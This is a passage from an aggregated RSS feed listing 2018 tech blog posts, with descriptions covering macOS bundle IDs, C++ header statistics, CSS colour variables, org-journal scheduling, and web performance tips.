href="https://stackoverflow.com/questions/39464668/how-to-get-bundle-id-of-mac-application#39464824"&gt;stack overflow&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;Option 1&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;osascript -e 'id of app &amp;quot;Emacs&amp;quot;'
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Option 2&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;mdls -name kMDItemCFBundleIdentifier -r SomeApp.app
&lt;/code&gt;&lt;/pre&gt;</description><author>xenodium.com @alvaro</author><pubDate>Wed, 04 Apr 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/getting-macos-app-bundle-id</guid></item><item><title>Taxation of Cryptocurrency Trades</title><link>https://www.khanna.law/blog/taxation-of-cryptocurrency-trades</link><description>This article examines how to calculate how much you made on cryptocurrency and what information you will need to provide to your CPA or for preparing your taxes yourself.</description><author>Khanna Law Blog</author><pubDate>Wed, 04 Apr 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.khanna.law/blog/taxation-of-cryptocurrency-trades</guid></item><item><title>Try React Suspense In 5 Minutes</title><link>https://www.swyx.io/how-to-try-react-suspense-in-5-minutes-474c</link><description>&lt;hr /&gt;</description><author>swyx's site RSS Feed</author><pubDate>Wed, 04 Apr 2018 00:39:13 GMT</pubDate><guid isPermaLink="true">https://www.swyx.io/how-to-try-react-suspense-in-5-minutes-474c</guid></item><item><title>A header analysis of C++ projects</title><link>https://bastian.rieck.me/blog/2018/cxx_meta_analysis/</link><description>&lt;p&gt;Even though C++ is still my favourite programming language, I am always
amazed by the sheer number of headers I have to include to get something
done. Most of my source files could contain &lt;code&gt;#include &amp;lt;vector&amp;gt;&lt;/code&gt; at the
beginning, because this is most likely what I am going to include
anyway. Other headers are not treated this way. In fact, I am displaying
a wanton disregard for many of the other headers. For example, I have
never consciously use the &lt;code&gt;execution&lt;/code&gt; header in real-world code.&lt;/p&gt;
&lt;p&gt;I thus started wondering how &lt;em&gt;other&lt;/em&gt; projects fared in that regard. So
I cloned several of the larger C++ repositories on GitHub. More
precisely, I started with the following repositories:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/electron/electron"&gt;Electron&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/rethinkdb/rethinkdb"&gt;RethinkDB&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/apple/swift"&gt;Swift&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/tensorflow/tensorflow"&gt;TensorFlow&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="counting-individual-headers"&gt;Counting individual headers&lt;/h1&gt;
&lt;p&gt;In total, these projects comprise more than 2 million lines of
code—a reasonably-sized sample, I would say. To figure out how
these projects use headers, I first extracted all STL headers from all
files and counted their occurrences. This resulted in the following
histogram (the counts are relative):&lt;/p&gt;
&lt;figure&gt;&lt;a href="https://bastian.rieck.me/images/stl_headers_histogram.svg"&gt;&lt;img alt="Histogram of STL header occurrences" src="https://bastian.rieck.me/images/stl_headers_histogram.svg" width="400" /&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Pretty interesting, I would say. This is a nice long-tail distribution
for which a few headers are used much more often than the rest. In fact,
for these repositories, only four headers make up more than 50% of the
usage:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;vector&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;string&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;memory&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;utility&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For &lt;code&gt;vector&lt;/code&gt; and &lt;code&gt;string&lt;/code&gt;, this is not surprising. Virtually every C++
programmer uses &lt;code&gt;vector&lt;/code&gt; for almost anything. The same goes for
&lt;code&gt;string&lt;/code&gt;. Similarly, &lt;code&gt;memory&lt;/code&gt; is not so surprising as it contains the
different smart pointer classes—most prominently, &lt;code&gt;shared_ptr&lt;/code&gt;.
The last one of the list, &lt;code&gt;utility&lt;/code&gt;, was slightly unexpected for me. It
contains things such as &lt;code&gt;std::make_pair&lt;/code&gt; and &lt;code&gt;std::move&lt;/code&gt;. At least the
latter one is required for any class that does its own memory
management.&lt;/p&gt;
&lt;p&gt;At the tail of the distribution, the more exotic headers await. The
&lt;code&gt;stack&lt;/code&gt; header, for example, appears not to be used in these projects
too often, while the &lt;code&gt;future&lt;/code&gt; header comes in dead last. I must confess
that I have not used in real-world projects so far because I did not yet
have to deal with asynchronous operations. The lack of enthusiasm for
the &lt;code&gt;regex&lt;/code&gt; header is somewhat sad but maybe this is to be expected in
a language that does not really encourage the use of regular
expressions? Also, C++ regular expressions are said to perform worse
than their counterparts in other languages. To what extent the
unfamiliarity of C++ programmers with regular expressions might
contribute to this, I cannot say.&lt;/p&gt;
&lt;h1 id="counting-pairs-of-headers"&gt;Counting pairs of headers&lt;/h1&gt;
&lt;p&gt;Let’s delve into another aspect of the headers. In my code,
I noticed that some headers are almost always used together. For
example, if there is an &lt;code&gt;algorithm&lt;/code&gt; header, there is often also
a &lt;code&gt;functional&lt;/code&gt; header. Extending this to projects, I thought that it
might be interesting to analyse the &lt;em&gt;co-occurrence patterns&lt;/em&gt; of STL
headers. To this end, I counted how often pairs of headers are being
included the same file. This naturally gives rise to a co-occurrence
matrix, in which rows and columns indicate headers, and the value
indicates how often those header occur in the same file. If headers are
sorted by their counts, this results in a beautiful picture:&lt;/p&gt;
&lt;figure&gt;&lt;a href="https://bastian.rieck.me/images/stl_headers_cooccurrences.svg"&gt;&lt;img alt="Co-occurrence matrix of STL headers" src="https://bastian.rieck.me/images/stl_headers_cooccurrences.svg" width="400" /&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;This matrix tells us something about the universality of certain
headers. The &lt;code&gt;vector&lt;/code&gt; header, for example, co-occurs with almost
every other header to some extent because vectors are such fundamental
data types. The &lt;code&gt;typeinfo&lt;/code&gt; header, on the other hand, is so very
specific that is only co-occurs with &lt;code&gt;typeindex&lt;/code&gt;. In fact, the structure
of the matrix, i.e. the many dark cells, indicates that many
combinations are highly unlikely to occur “in the wild”.&lt;/p&gt;
&lt;p&gt;Some of the combinations really tell a story, though. For example,
&lt;code&gt;queue&lt;/code&gt; is used in conjunction with &lt;code&gt;thread&lt;/code&gt; (possibly to implement
patterns for multi-thread environments), but also with
&lt;code&gt;stack&lt;/code&gt; (possibly to implement different traversal strategies of
implicit or explicit graph structures in these projects). I also see
another pattern of my own code, namely the pair &lt;code&gt;unordered_map&lt;/code&gt; and
&lt;code&gt;unordered_set&lt;/code&gt;. I tend to require either &lt;em&gt;both&lt;/em&gt; of them (the set
for iteration and storage, the map for, well associating more
information with individual objects) or &lt;em&gt;none&lt;/em&gt; of them.&lt;/p&gt;
&lt;h1 id="conclusion"&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;As a next step, it would be interesting to see whether the co-occurrence
of certain headers makes it possible to &lt;em&gt;guess&lt;/em&gt; the domain of a C++
program, just like certain pairs of words (I guess I should rather
speak of &lt;em&gt;bigrams&lt;/em&gt; here, to use the NLP term) are more indicative of
certain genres of literature. Treating code like literature would
certainly make for an interesting art project.&lt;/p&gt;
&lt;p&gt;The code for this project is available &lt;a href="https://github.com/Pseudomanifold/stl-headers"&gt;on
GitHub&lt;/a&gt;. You only have to
supply the repositories for scanning.&lt;/p&gt;
&lt;p&gt;Happy coding, until next time!&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Update (2018-04-06)&lt;/em&gt;: Changed the title because I was using the term
meta-analysis incorrectly. Thanks, HN!&lt;/p&gt;</description><author>Ecce Homology on Bastian Grossenbacher Rieck's personal homepage</author><pubDate>Tue, 03 Apr 2018 19:18:24 GMT</pubDate><guid isPermaLink="true">https://bastian.rieck.me/blog/2018/cxx_meta_analysis/</guid></item><item><title>Advanced Kubernetes Objects You Need to Know</title><link>/posts/2018-04-03-advanced-kubernetes-objects-you-need-to-know/</link><description>Originally appeared on Opsgenie Engineering Blog
 Kubernetes adoption is increasing each day. People are transforming both development and production environments to container-based deployments, and they are making use of Kubernetes to handle the operations more elegantly. Ability to do one-click zero downtime rolling deployment updates was a dream or required too many interventions by an operator or a custom in-house applications where they were heavily dependent on the specific platforms.</description><author>Mustafa Akın</author><pubDate>Tue, 03 Apr 2018 17:31:01 GMT</pubDate><guid isPermaLink="true">/posts/2018-04-03-advanced-kubernetes-objects-you-need-to-know/</guid></item><item><title>The Spacewalker</title><link>https://olshansky.info/movie/the_spacewalker/</link><description>Olshansky's review of The Spacewalker</description><author>🦉 olshansky 🦁</author><pubDate>Tue, 03 Apr 2018 13:10:10 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/the_spacewalker/</guid></item><item><title>How do you make fast fashion an even bigger problem than it already is?</title><link>https://stop.zona-m.net/2018/04/how-do-you-make-fast-fashion-an-even-bigger-problem-than-it-already-is/</link><description>&lt;p&gt;Easy! You just mix it with the right buzzwords.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Tue, 03 Apr 2018 09:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/04/how-do-you-make-fast-fashion-an-even-bigger-problem-than-it-already-is/</guid></item><item><title>Links - April 03, 2018</title><link>https://faingezicht.com/links/2018/04/03/links/</link><description>Here I am, keeping my promise, and posting less links, more often:</description><author>Avy Faingezicht</author><pubDate>Tue, 03 Apr 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2018/04/03/links/</guid></item><item><title>0CTF 2018 Quals: Baby Stack - ret2dlresolve</title><link>https://www.da.vidbuchanan.co.uk/blog/0CTF-2018-babystack-ret2dlresolve.html</link><author>David Buchanan's Blog</author><pubDate>Tue, 03 Apr 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.da.vidbuchanan.co.uk/blog/0CTF-2018-babystack-ret2dlresolve.html</guid></item><item><title>A brighter shade of beige</title><link>https://qubyte.codes/blog/a-brighter-shade-of-beige</link><description>&lt;p&gt;When I originally built this blog, I gave it a very simple &lt;em&gt;no nonsense&lt;/em&gt; theme.
One colour (beige) for the background and black for text and the odd horizontal
rule. After a couple of minor iterations I added a sticky navigation bar (in
CSS, no JS).&lt;/p&gt;
&lt;p&gt;To be frank though, it looked dated from the start. The rules I used were mostly
borrowed from my days as an academic. It lacked playfulness, so I decided to
revisit it. While the style is still a work in progress, I've published some
changes, and this post is about those.&lt;/p&gt;
&lt;p&gt;I took this as an opportunity to overhaul my CSS tooling along with the style. I
switched from &lt;a href="https://www.npmjs.com/package/clean-css"&gt;clean-css&lt;/a&gt; to &lt;a href="http://postcss.org/"&gt;PostCSS&lt;/a&gt; with
&lt;a href="https://www.npmjs.com/package/postcss-import"&gt;import&lt;/a&gt;, &lt;a href="http://cssnext.io/"&gt;cssnext&lt;/a&gt;, and &lt;a href="http://cssnano.co/"&gt;cssnano&lt;/a&gt; plugins. These do
the import inlining and minification I got from clean-css, but also allowed me
to compile out some &lt;code&gt;calc&lt;/code&gt; custom properties the style overhaul introduces. To
make full use of CSS custom properties as variables, I turned off CSS
compilation while in development mode.&lt;/p&gt;
&lt;p&gt;For the palette, I opted to use HSL with CSS custom properties for the the
individual parameters, and &lt;code&gt;calc&lt;/code&gt; to apply offsets to these base value for
derived colours. PostCSS compiles all this out for production, but during
development they can be tweaked in the browser with no compilation. This
approach was inspired by a &lt;a href="http://v6.robweychert.com/blog/2018/02/v6-color/"&gt;recent post by Rob Weychert&lt;/a&gt; on colours
for his blog, but I decided to stick with CSS rather than move to Sass.&lt;/p&gt;
&lt;p&gt;The result doesn't appear to be a large departure from what was there before.
I've brightened the background colour, added distinct colour to the navigation
bar and made it span the width of the page, removed text justification, and
lightened text to a blue complimentary to the background. The look as been
&lt;a href="https://twitter.com/cassiecodes/status/980818410010562560"&gt;described as &lt;em&gt;Battenberg chic&lt;/em&gt;&lt;/a&gt;, which I rather like! If you'd like to
compare, the previous style can be seen &lt;a href="https://web.archive.org/web/20180104055846/https://qubyte.codes"&gt;on the Wayback Machine&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Here are the custom properties at the time of writing:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-css"&gt;&lt;span class="hljs-selector-pseudo"&gt;:root&lt;/span&gt; {
  &lt;span class="hljs-attr"&gt;--base-background-hue&lt;/span&gt;: &lt;span class="hljs-number"&gt;45&lt;/span&gt;;
  &lt;span class="hljs-attr"&gt;--base-background-sat&lt;/span&gt;: &lt;span class="hljs-number"&gt;100%&lt;/span&gt;;
  &lt;span class="hljs-attr"&gt;--base-background-lum&lt;/span&gt;: &lt;span class="hljs-number"&gt;90%&lt;/span&gt;;

  &lt;span class="hljs-attr"&gt;--base-foreground-hue&lt;/span&gt;: &lt;span class="hljs-built_in"&gt;calc&lt;/span&gt;(&lt;span class="hljs-built_in"&gt;var&lt;/span&gt;(--base-background-hue) + &lt;span class="hljs-number"&gt;180&lt;/span&gt;);
  &lt;span class="hljs-attr"&gt;--base-foreground-sat&lt;/span&gt;: &lt;span class="hljs-number"&gt;100%&lt;/span&gt;;
  &lt;span class="hljs-attr"&gt;--base-foreground-lum&lt;/span&gt;: &lt;span class="hljs-number"&gt;30%&lt;/span&gt;;

  &lt;span class="hljs-attr"&gt;--background-color-main&lt;/span&gt;: &lt;span class="hljs-built_in"&gt;hsl&lt;/span&gt;(
    &lt;span class="hljs-built_in"&gt;var&lt;/span&gt;(--base-background-hue),
    &lt;span class="hljs-built_in"&gt;var&lt;/span&gt;(--base-background-sat),
    &lt;span class="hljs-built_in"&gt;var&lt;/span&gt;(--base-background-lum)
  );

  &lt;span class="hljs-attr"&gt;--background-color-alt&lt;/span&gt;: &lt;span class="hljs-built_in"&gt;hsl&lt;/span&gt;(
    &lt;span class="hljs-built_in"&gt;calc&lt;/span&gt;(&lt;span class="hljs-built_in"&gt;var&lt;/span&gt;(--base-background-hue) - &lt;span class="hljs-number"&gt;30&lt;/span&gt;),
    &lt;span class="hljs-built_in"&gt;var&lt;/span&gt;(--base-background-sat),
    &lt;span class="hljs-built_in"&gt;var&lt;/span&gt;(--base-background-lum)
  );

  &lt;span class="hljs-attr"&gt;--standout-color-main&lt;/span&gt;: &lt;span class="hljs-built_in"&gt;hsl&lt;/span&gt;(
    &lt;span class="hljs-built_in"&gt;var&lt;/span&gt;(--base-foreground-hue),
    &lt;span class="hljs-built_in"&gt;var&lt;/span&gt;(--base-foreground-sat),
    &lt;span class="hljs-built_in"&gt;var&lt;/span&gt;(--base-foreground-lum)
  );
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Where &lt;code&gt;--background-color-main&lt;/code&gt; is the background colour of the body,
&lt;code&gt;--background-color-alt&lt;/code&gt; is the background colour of the navigation bar (and
probably other things later), and &lt;code&gt;--standout-color-main&lt;/code&gt; is the colour of the
text.&lt;/p&gt;
&lt;p&gt;I'm looking forward to CSS color module level 4, which will introduce
&lt;code&gt;color-mod&lt;/code&gt; to obtain one colour based on another (I found out about this via
&lt;a href="https://www.lottejackson.com/learning/css-color-module-level-4"&gt;Charlotte Jackson's blog&lt;/a&gt;). For example, the background colours
could be defined much more tersely as&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-css"&gt;&lt;span class="hljs-selector-pseudo"&gt;:root&lt;/span&gt; {
  &lt;span class="hljs-attr"&gt;--background-color-main&lt;/span&gt;: &lt;span class="hljs-built_in"&gt;hsl&lt;/span&gt;(&lt;span class="hljs-number"&gt;45&lt;/span&gt;, &lt;span class="hljs-number"&gt;100%&lt;/span&gt;, &lt;span class="hljs-number"&gt;90%&lt;/span&gt;);
  &lt;span class="hljs-attr"&gt;--background-color-alt&lt;/span&gt;: &lt;span class="hljs-built_in"&gt;color-mod&lt;/span&gt;(&lt;span class="hljs-built_in"&gt;var&lt;/span&gt;(--background-color-main) &lt;span class="hljs-built_in"&gt;hue&lt;/span&gt;(-&lt;span class="hljs-number"&gt;30&lt;/span&gt;));
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;so there would be less need for separate values for hue, saturation, and
lightness. I &lt;em&gt;could&lt;/em&gt; use it now since a PostCSS plugin can compile it out, but
then I lose the ability to adjust the theme in development without compilation.
I prefer to avoid using syntax which isn't ratified yet anyway. I'm using
PostCSS solely to make the CSS of my blog available as a single, minified, and
backwards-compatible file.&lt;/p&gt;</description><author>Qubyte Codes</author><pubDate>Tue, 03 Apr 2018 01:00:00 GMT</pubDate><guid isPermaLink="true">https://qubyte.codes/blog/a-brighter-shade-of-beige</guid></item><item><title>Practical remote working: part 2 - software</title><link>https://blog.christoolivier.com/p/practical-remote-working-part-2-software</link><description>There are so many options for software when dealing with remote working that it can truly make your head spin.</description><author>Christo’s Blog</author><pubDate>Mon, 02 Apr 2018 17:50:53 GMT</pubDate><guid isPermaLink="true">https://blog.christoolivier.com/p/practical-remote-working-part-2-software</guid></item><item><title>Scheduling Future TODOs in org-journal</title><link>https://bastibe.de/2018-04-02-scheduling-future-todos-in-org-journal.html</link><description>&lt;p&gt;I keep a simple journal in &lt;a href="https://github.com/bastibe/org-journal"&gt;org-journal&lt;/a&gt;: One text file per day, in &lt;a href="https://orgmode.org/"&gt;org-mode&lt;/a&gt;. But over the years, org-journal has grown somewhat beyond this simple use case. &lt;a href="https://github.com/bastibe/org-journal/releases/tag/1.7.1"&gt;About three years ago&lt;/a&gt;, a gentleman named &lt;a href="https://github.com/vkazanov"&gt;Vladimir Kazanov&lt;/a&gt; implemented a very fast text search. Thus, my journal became an information archive. &lt;a href="https://github.com/bastibe/org-journal/releases/tag/1.11.0"&gt;About two years ago&lt;/a&gt;, org-journal learned to carry over TODO items to the current day if you hadn't completed them on the previous day. So it to become a to-do list. And &lt;a href="https://github.com/bastibe/org-journal/releases/tag/1.13.1"&gt;today&lt;/a&gt;, org-journal gained the ability to work with future journal entries, thus becoming a calendar.&lt;/p&gt;
&lt;p&gt;Despite all of these features however, org-journal remains one org file per day, with fancy functions to do fancy things if you want them—or ignore them, if the journal is all you need.&lt;/p&gt;
&lt;p&gt;Back to scheduling: This work was prompted by &lt;a href="https://zngguvnf.org/"&gt;my colleague&lt;/a&gt;, who organizes everything in org-mode, but is not a user of org-journal. He even eschews the use of a traditional calendar, and instead uses a few org files and the magic of org-agenda to give him a nice overview like this for the coming week[1]:&lt;/p&gt;
&lt;pre&gt;
&lt;span style="color: #111111; font-weight: bold;"&gt;Week-agenda (W14):&lt;/span&gt;
&lt;span style="color: #111111; font-weight: bold; font-style: italic;"&gt;Monday     2 April 2018 W14&lt;/span&gt;
&lt;span style="color: #111111;"&gt;  2018-04-02: Easter Monday &lt;/span&gt;
&lt;span style="color: #111111; font-weight: bold;"&gt;Tuesday    3 April 2018&lt;/span&gt;
&lt;span style="color: #111111; font-weight: bold;"&gt;Wednesday  4 April 2018&lt;/span&gt;
&lt;span style="color: #111111; font-weight: bold;"&gt;Thursday   5 April 2018&lt;/span&gt;
&lt;span style="color: #111111;"&gt;  2018-04-05: Scheduled:  Give Lecture 4 on Applied Programming&lt;/span&gt;             &lt;span style="color: #111111;"&gt;&lt;span style="font-weight: bold;"&gt;:BB:&lt;/span&gt;&lt;/span&gt;
&lt;span style="color: #111111; font-weight: bold;"&gt;Friday     6 April 2018&lt;/span&gt;
&lt;span style="color: #111111;"&gt;  2018-04-06: Scheduled:  Release of new Eels record&lt;/span&gt;
&lt;span style="color: #111111; font-weight: bold;"&gt;Saturday   7 April 2018&lt;/span&gt;
&lt;span style="color: #111111; font-weight: bold;"&gt;Sunday     8 April 2018&lt;/span&gt;
&lt;span style="color: #111111;"&gt;  2018-04-08: Scheduled:  &lt;/span&gt;&lt;span style="color: #111111;"&gt;TODO&lt;/span&gt;&lt;span style="color: #111111;"&gt; Celebrate Sunday&lt;/span&gt;
&lt;/pre&gt;

&lt;p&gt;And lo and behold, this now works in org-journal as well! Just create a new journal entry in the future, either by pressing &lt;code&gt;i j&lt;/code&gt; in &lt;code&gt;M-x calendar&lt;/code&gt; or by calling &lt;code&gt;org-journal-new-scheduled-entry&lt;/code&gt;, and org-journal will create an entry with a &lt;code&gt;SCHEDULED&lt;/code&gt; property of the appropriate date (prefix to suppress &lt;code&gt;TODO&lt;/code&gt;). When the current day reaches that entry, it will incorporate it into the daily journal.&lt;/p&gt;
&lt;p&gt;Future journal entries are highlighted in &lt;code&gt;M-x calendar&lt;/code&gt;, and you can get an overview of them with &lt;code&gt;org-journal-schedule-view&lt;/code&gt;, or, if you enable &lt;code&gt;org-journal-enable-agenda-integration&lt;/code&gt;, through the ordinary &lt;code&gt;org-agenda&lt;/code&gt;, as shown above. The agenda integration does not include past journal entries in the agenda, since agenda searches tend to become very slow if they have to traverse the hundreds of files in my journal.&lt;/p&gt;
&lt;p&gt;[1]: This is of course not &lt;em&gt;his&lt;/em&gt; calendar, but mine.&lt;/p&gt;</description><author>bastibe.de</author><pubDate>Mon, 02 Apr 2018 14:38:00 GMT</pubDate><guid isPermaLink="true">https://bastibe.de/2018-04-02-scheduling-future-todos-in-org-journal.html</guid></item><item><title>Building a notification system part 1: Base system</title><link>https://smetj.net/building_a_notification_system_part_1.html</link><description>&lt;p&gt;&lt;img alt="twitter_banner" src="images/notifications.png" /&gt;&lt;/p&gt;
&lt;p&gt;I would like to have a notification system on my phone and laptop to receive
messages from various service events in order to keep track of events which
require my attention.&lt;/p&gt;
&lt;p&gt;So why not use &lt;a class="reference external" href="https://twitter.com"&gt;Twitter&lt;/a&gt; and &lt;a class="reference external" href="http://wishbone.readthedocs.io"&gt;Wishbone&lt;/a&gt; to create a Twitter bot which does
exactly what I need?&lt;/p&gt;
&lt;div class="section" id="abstract"&gt;
&lt;h2&gt;Abstract …&lt;/h2&gt;&lt;/div&gt;</description><author>Jelle Smet</author><pubDate>Mon, 02 Apr 2018 13:00:00 GMT</pubDate><guid isPermaLink="true">https://smetj.net/building_a_notification_system_part_1.html</guid></item><item><title>NO, It's NOT "Time for Mark Zuckerberg to Give Up Control of Facebook"</title><link>https://stop.zona-m.net/2018/04/no-its-not-time-for-mark-zuckerberg-to-give-up-control-of-facebook/</link><description>&lt;p&gt;It&amp;rsquo;s time for the Mark Zuckerbergs of the world to become &lt;strong&gt;irrelevant&lt;/strong&gt;, instead. Even if they are cooperatives&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Mon, 02 Apr 2018 11:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/04/no-its-not-time-for-mark-zuckerberg-to-give-up-control-of-facebook/</guid></item><item><title>Node.js and Lambda Three Part Series</title><link>https://thomashunter.name/posts/2018-04-02-creating-and-integrating-a-node-lambda-function-with-api-gateway</link><author>Thomas Hunter II</author><pubDate>Mon, 02 Apr 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://thomashunter.name/posts/2018-04-02-creating-and-integrating-a-node-lambda-function-with-api-gateway</guid></item><item><title>Source Code for Life v0.1</title><link>https://www.swyx.io/source-code-for-life-v01-3pal</link><description>&lt;p&gt;Compiled Insights for Infinite Learners&lt;/p&gt;</description><author>swyx's site RSS Feed</author><pubDate>Mon, 02 Apr 2018 00:40:54 GMT</pubDate><guid isPermaLink="true">https://www.swyx.io/source-code-for-life-v01-3pal</guid></item><item><title>Site map vs content architecture (content map – IA)</title><link>https://yasha.solutions/site-map-vs-content-architecture-content-map-ia/</link><description>IA – information architecture “Structural design of shared information environments”
example:
Site map “A site map is a list of pages of a web site.”Source for images</description><author>Yasha Solutions</author><pubDate>Sun, 01 Apr 2018 18:35:09 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/site-map-vs-content-architecture-content-map-ia/</guid></item><item><title>Fundamental of experience design</title><link>https://yasha.solutions/fundamental-of-experience-design/</link><description>&amp;gt; Todo : Add summary of the illustration
Source link : http://www.poetpainter.com/thoughts/article/ia-summit-2009-the-fundamentals-of-experience-design-</description><author>Yasha Solutions</author><pubDate>Sun, 01 Apr 2018 15:21:59 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/fundamental-of-experience-design/</guid></item><item><title>Project Todos</title><link>https://zellyn.com/2018/03/project-todos/</link><description>&lt;p&gt;In an effort to organize the many side-projects I would &lt;em&gt;like&lt;/em&gt; to do
— at least in my mind — but probably never will, I created
a &lt;a href="https://zellyn.com/page/projects/todo/"&gt;Projects: TODO&lt;/a&gt; page.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ve never collaborated much on side projects. If something strikes
your fancy, I would &lt;em&gt;love&lt;/em&gt; to work together.&lt;/p&gt;</description><author>Zellyn Hunter</author><pubDate>Sun, 01 Apr 2018 05:50:18 GMT</pubDate><guid isPermaLink="true">https://zellyn.com/2018/03/project-todos/</guid></item><item><title>Solve 90% of Google Pagespeed Insights Issues in 30 Minutes</title><link>/google-psi-problems/</link><description>&lt;div class="image"&gt;
	&lt;img src="../../assets/images/horserace.jpg" /&gt;
	&lt;em&gt;Source: &lt;a href="https://unsplash.com/photos/fxAo3DiMICI"&gt;https://unsplash.com/photos/fxAo3DiMICI&lt;/a&gt;&lt;/em&gt;
&lt;/div&gt;
&lt;p&gt;Performance is a critical factor in site retention rates. Time is money, and there is a laundry list of examples that prove &lt;a href="http://loadstorm.com/2014/04/infographic-web-performance-impacts-conversion-rates/"&gt;people expect near-instant loading&lt;/a&gt; and will navigate off a web page if it &lt;a href="https://www.nytimes.com/2012/03/01/technology/impatient-web-users-flee-slow-loading-sites.html?pagewanted=all"&gt;does not load in under 3 seconds&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Although the &lt;a href="https://developers.google.com/speed/pagespeed/insights/"&gt;Google Page speed Insights&lt;/a&gt; score is not a guaranteed stamp that a site will be fast, it does give some indication of this fact. Additionally, it is now one of the hundreds of factors that Google and other search engines use in their SEO ranking algorithms. Truly then, web performance is something to care about from a business standpoint.&lt;/p&gt;
&lt;p&gt;Since developers and businesses alike aim for “best bang for your buck”, here I’m going to walk you through three simple steps you can action which will bump your score by at least 20 (if not more). This is not a smoking gun but, applying the &lt;a href="https://betterexplained.com/articles/understanding-the-pareto-principle-the-8020-rule/"&gt;Pareto principle&lt;/a&gt;, it is better to spend your time doing 20% of the tasks which will give you 80% of the benefit.&lt;/p&gt;
&lt;h2&gt;Minify your assets&lt;/h2&gt;
&lt;p&gt;Large page sizes owe their disdain to bloated javascript and CSS assets. An easy way to reduce the sizes of these is to minify them. This can be done via a task runner like &lt;a href="https://gulpjs.com/"&gt;Gulp&lt;/a&gt; or &lt;a href="https://gruntjs.com/"&gt;Grunt&lt;/a&gt;. If you are in a hurry then you can use an online tool such as &lt;a href="https://www.minifier.org/"&gt;Minifier&lt;/a&gt; — however, this will mean you need to re-run this everytime you change the Javascript. I’d recommend setting up an automated task.&lt;/p&gt;
&lt;p&gt;If you are feeling adventurous then you can go further with this optimization and use Webpack with &lt;a href="https://webpack.js.org/guides/tree-shaking/"&gt;tree shaking&lt;/a&gt;. This will prune any unused code from your Javascript and therefore reduce the size of the underlying modules that you are minifying.&lt;/p&gt;
&lt;p&gt;Delve deeper into minification and you will quickly realize that the best way to reduce asset size is to &lt;strong&gt;just have less stuff&lt;/strong&gt; in them. Therefore, try and reduce the number of &lt;a href="https://lodash.com/"&gt;Lodash&lt;/a&gt; modules you are importing, or &lt;a href="https://momentjs.com/docs/"&gt;Moment.js locales&lt;/a&gt;, or perhaps you are importing the entirety of &lt;a href="https://getbootstrap.com/"&gt;Bootstrap&lt;/a&gt; just to use the row and container system.&lt;/p&gt;
&lt;p&gt;Images are one of the biggest culprits in the issue of large files. According to the &lt;a href="http://httparchive.org/interesting.php?a=All&amp;amp;l=Mar%2015%202018"&gt;HTTP Archive, as of the 15th March 2018&lt;/a&gt;, **over half **of an average sites payload is in images. Therefore it’s crucial to focus your efforts on reducing the number of images you use but also optimizing them. Before putting an image on your page make sure to compress them first. If you are in a hurry then try using this tool called &lt;a href="http://optimizilla.com/"&gt;Optimizilla&lt;/a&gt;. The solution is to automate this process using your task running (Gulp, Grunt or Webpack) along with a plugin such as &lt;a href="https://www.imagemagick.org/script/index.php"&gt;ImageMagick &lt;/a&gt;or the like. There is even a &lt;a href="https://en-gb.wordpress.org/plugins/ewww-image-optimizer/"&gt;Wordpress plugin&lt;/a&gt; if you are publishing images via a blog.&lt;/p&gt;
&lt;h2&gt;Cache Assets&lt;/h2&gt;
&lt;p&gt;Huge savings in speed will come from the client’s browser not having to download the assets in the first place. This will not only drastically improve page load times but also reduce the bandwidth needed for your server (which depending on your hosting provider may reduce the bill). Additionally, if the client is viewing the site on their mobile then they will be able to load your site, safe in the knowledge that they don’t need to be concerned about their data plan.&lt;/p&gt;
&lt;p&gt;You can cache your assets in a few ways, the easiest is to set a cache control header on your requests. On an Apache server, you can do that as follows.&lt;/p&gt;
&lt;div class="image"&gt;
	&lt;img src="https://cdn-images-1.medium.com/max/2152/0*SsZKehPZW3P9knAC." /&gt;
	&lt;em&gt;Code here: &lt;a href="https://gist.github.com/joshghent/fcca761d006ae34a1a2aaa0406a9e0f1"&gt;https://gist.github.com/joshghent/fcca761d006ae34a1a2aaa0406a9e0f1&lt;/a&gt;&lt;/em&gt;
&lt;/div&gt;
